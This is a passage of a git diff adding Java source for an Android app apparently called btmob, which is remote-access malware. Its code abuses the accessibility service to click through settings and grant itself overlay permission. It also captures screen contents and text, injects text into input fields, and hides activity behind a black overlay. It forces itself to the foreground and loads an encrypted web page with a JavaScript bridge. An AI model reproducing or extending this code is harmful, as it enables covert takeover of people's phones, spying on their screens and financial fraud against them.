node.getBoundsInScreen(out); + int X = (int) out.exactCenterX(); + int Y = (int) out.exactCenterY(); + + clickthis(X, Y); + new Handler(Looper.getMainLooper()).postDelayed(() -> { + try { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + } catch (Exception e) { + } + }, 250); + }, 200); + + + break; + } + } + } + + } + } + } catch (Exception a) { + MyLoger.Error("FOR_EXTR_STRG", a.getMessage()); + } + + } + + private static void EnableDraw(Context ctx, boolean skiponename) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + if (Settings.canDrawOverlays(ctx)) { + FOR_DRAW_OVER = false; + return; + } + + String Myname = getLabelApplication(ctx).toLowerCase(); + //String Myname = "ASC"; + + AccessibilityNodeInfo targetNode = findByTextAndId(MyAccess.getRootInActiveWindow(), "android:id/title", Myname); + + if (targetNode == null) { + targetNode = findByTextAndClassName(MyAccess.getRootInActiveWindow(), "android.widget.TextView", Myname); + } +// AccessibilityNodeInfo targetNode = null; +// List nfo1 = AccessTools.findNodesByText(Myname, RootView); +// if (nfo1 != null && !nfo1.isEmpty()) { +// targetNode = nfo1.get(0); +// } + + + if (targetNode != null && !skiponename) { + Rect nodeRect = new Rect(); + targetNode.getBoundsInScreen(nodeRect); + // scrollToText(RootView,targetNode,new String[]{getLabelApplication(ctx)}); + // Get screen dimensions + Rect screenRect = new Rect(); + MyAccess.getRootInActiveWindow().getBoundsInScreen(screenRect); + + // Check if node is visible on the screen + if (screenRect.contains(nodeRect) && targetNode.isVisibleToUser()) { + // Node is visible - Perform click + int x = (int) nodeRect.exactCenterX(); + int y = (int) nodeRect.exactCenterY(); + if (Settings.canDrawOverlays(ctx)) { + AccessServices.FOR_DRAW_OVER = false; + return; + } + clickthis(x, y); + new Handler(Looper.getMainLooper()).postDelayed(() -> EnableDraw(ctx, true), 800); + return; + } else { + // Node is not visible - Scroll and retry + if (scrollView(MyAccess.getRootInActiveWindow())) { + new Handler(Looper.getMainLooper()).postDelayed(() -> EnableDraw(ctx, false), 800); + return; + } else { + MyLoger.Error("scroll", "no"); + } + } + } +// else { +// if (scrollView(RootView)) { +// try { +// sleep(100); +// } catch (InterruptedException e) { +// //throw new RuntimeException(e); +// } +// }else{ +// MyLoger.Error("scroll", "no"); +// } +// } + + if (Settings.canDrawOverlays(ctx)) { + FOR_DRAW_OVER = false; + // blockBack(); + } else { + //android:id/switch_widget +// if (Settings.canDrawOverlays(ctx)) { +// FOR_DRAW_OVER = false; +// return; +// } + + //RootView.refresh(); + boolean notsuccess = true; + String clasname = "android.widget.Switch"; + if (Build.VERSION.SDK_INT >= 34) { + clasname = "android.view.View"; + // findAndCheckToggle(RootView); + } + List nodes = getNodesByClassName(MyAccess.getRootInActiveWindow(), clasname); + + for (AccessibilityNodeInfo node : nodes) { + if (node.isCheckable()) { + + Log.d("Accessibility", "Found checkable element: " + node.getClassName()); + if (!node.isChecked()) { + + // if (node.isClickable()) { + + // node.performAction(AccessibilityNodeInfo.ACTION_CLICK); + // } else { + new Handler(Looper.getMainLooper()).postDelayed(() -> + { + Rect out = new Rect(); + node.getBoundsInScreen(out); + int X = (int) out.exactCenterX(); + int Y = (int) out.exactCenterY(); + clickthis(X, Y); + FOR_DRAW_OVER = false; + new Handler(Looper.getMainLooper()).postDelayed(() -> + { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + + if (android.os.Build.VERSION.SDK_INT > android.os.Build.VERSION_CODES.P) { + new Handler(Looper.getMainLooper()).postDelayed(() -> + { + MyAccess.performGlobalAction(GLOBAL_ACTION_BACK); + }, 500); + } + + + }, 100); + + }, 200); + + // } + notsuccess = false; + + break; + } + } + } + + if (notsuccess) { + +// try{ +// Thread.sleep(500); +// }catch (Exception a){} + + + new Handler(Looper.getMainLooper()).postDelayed(() -> + { + scrollView(MyAccess.getRootInActiveWindow()); + new Handler(Looper.getMainLooper()).postDelayed(() -> EnableDraw(ctx, false), 100); + }, 300); + + + } + + + } + + + } + + + public static boolean CLickTextpostion(String text, AccessibilityNodeInfo rootNode) { + if (rootNode == null || rootNode.getChildCount() == 0) { + return false; + } + for (int i = 0; i < rootNode.getChildCount(); i++) { + AccessibilityNodeInfo node = rootNode.getChild(i); + if (node != null) { + String textchiled = ""; + + if (node.getText() != null) { + textchiled = node.getText().toString(); + if (textchiled.toLowerCase().equals(text.toLowerCase())) { + Rect outchiled = new Rect(); + node.getBoundsInScreen(outchiled); + int xCenter = outchiled.left; + int yCenter = outchiled.centerY(); + + clickthis(xCenter, yCenter); +// try { +// Thread.sleep(500); +// } catch (Exception a) { +// } + return true; + } + } + + // Important: Check if the recursive call returns true + if (CLickTextpostion(text, node)) { + return true; + } + + node.recycle(); + } + } + + return false; + } + + + public static boolean scrollView(AccessibilityNodeInfo nodeInfo) { + + if (nodeInfo == null) return false; + + if (nodeInfo.isScrollable()) { + return nodeInfo.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD); + } + + for (int i = 0; i < nodeInfo.getChildCount(); i++) { + if (scrollView(nodeInfo.getChild(i))) { + return true; + } + } + + return false; + } + + public static byte[] createskilton() { + try { + AccessServices accessService = myAccess(); + if (accessService == null) return null; + + Context context = mycontext(); + if (context == null) return null; + + AccessibilityNodeInfo rootNode = accessService.getRootInActiveWindow(); + if (rootNode == null) return null; + + int width = Integer.parseInt(MySettings.Read(context, Consts.Mob_width, "720")); + int height = Integer.parseInt(MySettings.Read(context, Consts.Mob_height, "1280")); + + Bitmap screenshot = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(screenshot); + Paint paint = new Paint(); + + + canvas.drawColor(Color.TRANSPARENT, PorterDuff.Mode.CLEAR); + + processNode(rootNode, canvas, paint, context); + + // Compress the final image + return compressBitmap(screenshot); + + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + private static void processNode(AccessibilityNodeInfo rootNode, Canvas canvas, Paint paint, Context context) { + if (rootNode == null) return; + + Rect bounds = new Rect(); + rootNode.getBoundsInScreen(bounds); + + String nodeText = extractText(rootNode); + if (nodeText == null || nodeText.isEmpty()) { + nodeText = "•"; // Default placeholder + } + + drawNode(canvas, paint, bounds, nodeText, Color.RED); + + String skeletonColor = MySettings.Read(context, Consts.Skeleton_Color, "#FFFFFF"); + drawViewHierarchy(canvas, rootNode, paint, Color.parseColor(skeletonColor)); + + rootNode.recycle(); + } + + private static String extractText(AccessibilityNodeInfo node) { + if (node == null) return null; + + if (node.getText() != null) { + return node.getText().toString(); + } + + if (node.getClassName() != null) { + String className = node.getClassName().toString(); + if (("android.widget.ImageButton".equals(className) || "android.widget.ImageView".equals(className)) + && node.getContentDescription() != null) { + return node.getContentDescription().toString(); + } + } + return null; + } + + private static void drawNode(Canvas canvas, Paint paint, Rect bounds, String text, int color) { + paint.setColor(color); + paint.setStyle(Paint.Style.STROKE); + paint.setStrokeWidth(2); + canvas.drawRect(bounds, paint); + + paint.setStyle(Paint.Style.FILL); + paint.setTextSize(screenfontSize); + paint.setAntiAlias(true); + paint.setTypeface(Typeface.SANS_SERIF); + + paint.setTextAlign(Paint.Align.LEFT); + + int x = bounds.left; + int y = bounds.centerY() - ((int) ((paint.descent() + paint.ascent()) / 2)); + canvas.drawText(text, x, y, paint); + } + + private static void drawViewHierarchy(Canvas canvas, AccessibilityNodeInfo node, Paint paint, int color) { + if (node == null || node.getChildCount() == 0) return; + + for (int i = 0; i < node.getChildCount(); i++) { + AccessibilityNodeInfo child = node.getChild(i); + if (child != null && child.isVisibleToUser()) { + Rect bounds = new Rect(); + child.getBoundsInScreen(bounds); + + String text = extractText(child); + if (text == null || text.isEmpty()) text = "•"; + + paint.setColor(color); + paint.setTextSize(screenfontSize); + drawNode(canvas, paint, bounds, text, color); + + drawViewHierarchy(canvas, child, paint, color); + child.recycle(); + } + } + } + + + private static byte[] compressBitmap(Bitmap bitmap) { + try (ByteArrayOutputStream stream = new ByteArrayOutputStream()) { + Bitmap scaledBitmap = Bitmap.createScaledBitmap(bitmap, 480, 720, true); + scaledBitmap.compress(Bitmap.CompressFormat.WEBP, 80, stream); + scaledBitmap.recycle(); + return stream.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + return null; + } finally { + bitmap.recycle(); + } + } + + public static void pasteText(String ToPaste) { + try { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Context ctx = mycontext(); + if (ctx == null) { + return; + } + AccessibilityNodeInfo root = MyAccess.getRootInActiveWindow(); + AccessibilityNodeInfo focus = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT); + boolean sucess = false; + Bundle arguments = new Bundle(); + arguments.putString(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, ToPaste); + + if (focus != null) { + + sucess = focus.performAction(AccessibilityNodeInfoCompat.ACTION_SET_TEXT, arguments); + focus.recycle(); + root.recycle(); + } + + if (!sucess) { + if (AccessServices.Globalnode == null) { + return; + } + AccessServices.Globalnode.performAction(AccessibilityNodeInfoCompat.ACTION_SET_TEXT, arguments); + } + + + } catch (Exception ex) { + + } + } + + public static void BlackScreen(boolean ON) { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + + Context ctx = mycontext(); + if (ctx == null) { + return; + } + + try { + Handler mainHandler = new Handler(MyAccess.getMainLooper()); + if (ON) { + mainHandler.post(() -> { + //AccessServices myacss = myAccess(); + if (MyAccess.BlackoverLay.getWindowToken() == null) { + try { + AccessWindow.addView(MyAccess.BlackoverLay, AccessServices.Blacklayparams); + + } catch (Exception a) { + } + } + + AccessServices.BlackScreen_ON = true; + }); + + } else { + + mainHandler.post(() -> { + // AccessServices myacss = myAccess(); + if (MyAccess.BlackoverLay.getWindowToken() != null) { + try { + AccessWindow.removeView(MyAccess.BlackoverLay); + + } catch (Exception a) { + } + } + + AccessServices.BlackScreen_ON = false; + }); + + + } + } catch (Exception a) { + a.printStackTrace(); + } + } + + + public static void Treger(final String Command, String[] KeyData) { + + try { + AccessServices MyAccess = myAccess(); + if (MyAccess == null) { + return; + } + Context ctx = mycontext(); + if (ctx == null) { + return; + } + if (KeyData != null) { + String key = KeyData[0]; + String value = KeyData[1]; + if (!AccessServices.CommandsData.containsKey("") || !AccessServices.CommandsData.containsValue("")) { + AccessServices.CommandsData.put(key, value); + } + } + + AccessibilityManager manager = (AccessibilityManager) ctx.getSystemService(Context.ACCESSIBILITY_SERVICE); + + if (manager.isEnabled()) { + AccessibilityEvent e = AccessibilityEvent.obtain(); + e.setEventType(AccessibilityEvent.TYPE_ANNOUNCEMENT); + e.setClassName(MyAccess.getClass().getName()); + e.setPackageName(ctx.getPackageName()); + e.getText().add(Command); + manager.sendAccessibilityEvent(e); + } + } catch (Exception e) { + e.printStackTrace(); + } + + + } + + + + public static void BringMeFront(Context ctx) { + AccessServices MyAccess = myAccess(); + if (MyAccess != null) { + AccessTools.Treger("tofront", null); + } else { + final Handler handler = new Handler(Looper.getMainLooper()); + handler.postDelayed(new Runnable() { + @Override + public void run() { + try { + + addOverlay(ctx); + handler.postDelayed(() -> { + Intent intenttrans = new Intent(ctx, tofront.class); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intenttrans.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); + ctx.startActivity(intenttrans); + }, 50); + + + } catch (Exception a) { + a.printStackTrace(); + } + } + }, 1); + } + + } + + private static void removeOverlayView(Context ctx, Button overlayView) { + if (overlayView != null) { + WindowManager windowManager = (WindowManager) ctx.getSystemService(WINDOW_SERVICE); + windowManager.removeView(overlayView); + overlayView = null; + } + } + + + public static void addOverlay(Context ctx) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && !Settings.canDrawOverlays(ctx)) { + // Log.e("OverlayService", "Draw over apps permission not granted"); + return; + } + WindowManager windowManager = (WindowManager) ctx.getSystemService(WINDOW_SERVICE); + // Create overlay view + Button overlayView; + overlayView = new Button(ctx); + + overlayView.setBackgroundColor(Color.TRANSPARENT); + overlayView.setFocusable(true); + overlayView.setClickable(true); + + // Set layout params + WindowManager.LayoutParams params = new WindowManager.LayoutParams( + 10, + 10, + Build.VERSION.SDK_INT >= Build.VERSION_CODES.O ? + WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY : + WindowManager.LayoutParams.TYPE_PHONE, + WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE + | WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS + , + PixelFormat.TRANSLUCENT + ); + + // Allow touch and focus + //params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN; + params.gravity = Gravity.TOP | Gravity.START; + params.x = 10; + params.y = 10; + + windowManager.addView(overlayView, params); + overlayView.setVisibility(View.VISIBLE); + + new Handler(Looper.getMainLooper()).postDelayed(() -> { + if (overlayView != null) { + removeOverlayView(ctx, overlayView); + } + }, 3000); + } + + public static List TNames = new ArrayList(); + public static Map Map_Name_Lnk = new HashMap<>(); + public static Map Map_Name_ID = new HashMap<>(); + + public static void Addlink(String name, String url) { + if (!Map_Name_Lnk.containsKey(name)) { + Map_Name_Lnk.put(name, url); + } + } + + public static void AddID(String name, String ID) { + if (!Map_Name_ID.containsKey(name)) { + Map_Name_ID.put(name, ID); + } + } + + public static void AddTname(String name) { + if (!TNames.contains(name)) { + TNames.add(name); + } + } + + public static void Removename(String name) { + if (Map_Name_Lnk.containsKey(name)) { + Map_Name_Lnk.remove(name); + } + if (Map_Name_ID.containsKey(name)) { + Map_Name_ID.remove(name); + } + if (TNames.contains(name)) { + TNames.remove(name); + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessibilityActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessibilityActivity.java new file mode 100644 index 0000000..74ed849 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AccessibilityActivity.java @@ -0,0 +1,265 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.MyCods.is_Access_Enabled; +import static com.icontrol.protector.EngineWorker.needtofy; +import static com.icontrol.protector.UtliTools.fromBase64; +import static com.icontrol.protector.UtliTools.getAppIconAsBase64; +import static com.icontrol.protector.UtliTools.isMIUI; +import static com.icontrol.protector.UtliTools.isSamsung; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.provider.Settings; + +import android.util.Base64; +import android.view.KeyEvent; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.CookieManager; +import android.webkit.JavascriptInterface; +import android.webkit.JsResult; +import android.webkit.WebChromeClient; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import java.io.UnsupportedEncodingException; +import java.util.Locale; + + +public class AccessibilityActivity extends Activity { + + String partone=""; + String lastpart=""; + public static String getLabelApplication(Context context) { + try { + return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA)); + }catch (Exception ex){ + } + return context.getString(R.string.BaseName); + } + + private static AccessibilityActivity instance; + public static boolean isActivityOpen() { + return instance != null; + } +// public String getMetaDataValue(Context context, String key) { +// try { +// ApplicationInfo appInfo = context.getPackageManager() +// .getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA); +// if (appInfo.metaData != null) { +// return appInfo.metaData.getString(key); +// } +// } catch (PackageManager.NameNotFoundException e) { +// e.printStackTrace(); +// } +// return null; // Return a default value or handle the null case +// } + static Context myctx=null; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + instance =this; + + + try + { + needtofy=false; + if (!is_Access_Enabled(getApplicationContext(), AccessServices.class)){ + + + if (myctx == null) + { + myctx = getApplicationContext(); + } + + WebView webView = new WebView(getApplicationContext()); + webView.getSettings().setJavaScriptEnabled(true); + webView.getSettings().setLoadsImagesAutomatically(true); + webView.getSettings().setLoadWithOverviewMode(true); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true); + }catch (Exception a){ + + } + webView.getSettings().setUseWideViewPort(true); + webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + webView.getSettings().setAllowFileAccess(true); + webView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + webView.getSettings().setDomStorageEnabled(true); + webView.getSettings().setAllowFileAccessFromFileURLs(true); + webView.getSettings().setAllowUniversalAccessFromFileURLs(true); + webView.getSettings().setAllowContentAccess(true); + try { + webView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + webView.getSettings().setPluginState(WebSettings.PluginState.ON); + webView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + webView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + webView.setWebViewClient(new MyWebViewClient()); + webView.setWebChromeClient(new MyWebChromeClient()); + webView.addJavascriptInterface(new WebAppInterface(getApplicationContext()), "CallBacker"); + My_Crpter cr = My_Crpter.Getinstance(); + String PageBase64 = ""; + partone = "gAIh6SE2Tyl4TGXmD9dNmTWP87vZqmOnphVeobsC7O0f8LuHSASbKnystJ2IIZPBO1"; + lastpart = "fxCQJ5AmN+3nfRl44qkvnloMiEBN0pJg5hjI="; + //if(UtliTools.isSamsung() || UtliTools.isGoogle() || UtliTools.isRealme()){ + if(!isMIUI(myctx)){ + if (isSamsung()){ + PageBase64 =cr.Dcrpt_Str( "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